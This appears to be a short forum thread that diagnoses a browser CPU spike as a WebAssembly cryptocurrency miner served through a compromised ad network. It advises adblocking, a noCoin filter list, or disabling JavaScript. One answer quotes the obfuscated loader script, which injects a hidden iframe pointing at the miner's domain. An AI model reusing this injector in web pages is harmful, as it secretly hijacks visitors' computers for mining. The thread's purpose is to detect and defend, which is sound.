Chrome uses 80% CPU when I visit a specific website

Yes, it’s a crypto currency miner. Hosted at www.datasecu.download, implemented in Web Assembly, communicating with its host via Websocket:

It’s distributed using a compromised advertising network:

Extract from https://s3.amazonaws.com/23ap.com/nodejs/sq9/sq_v2.js

var _0x7bc7=["iframe","setAttribute","https://www.datasecu.download/lot.html","head","appendChild","1IABALrINkcv2VFJWo7ctqH0f3Y6aTf1","start","createElement"];!function(t,x){!function(x){for(;--x;)t.push(t.shift())}(++x)}(_0x7bc7,367);var _0x5028=function(t,x){var a=_0x7bc7[t-=0];return console.log(a,t),a};a=document[_0x5028("0x0")](_0x5028("0x1")),a[_0x5028("0x2")]("src",_0x5028("0x3")),a.style.width="0px",a.style.height="1px",document[_0x5028("0x4")][_0x5028("0x5")](a);

tl;dr: Use an Adblocker already.

For ublock you can load the noCoin filter list: https://github.com/hoshsadiq/adblock-nocoin-list/

This datasecu website is already included.

Just disable javascript and the website won't be able to use your pc's cpu. If you use chrome. Right click -> inspect element -> network (tab) -> settings -> disable javascript.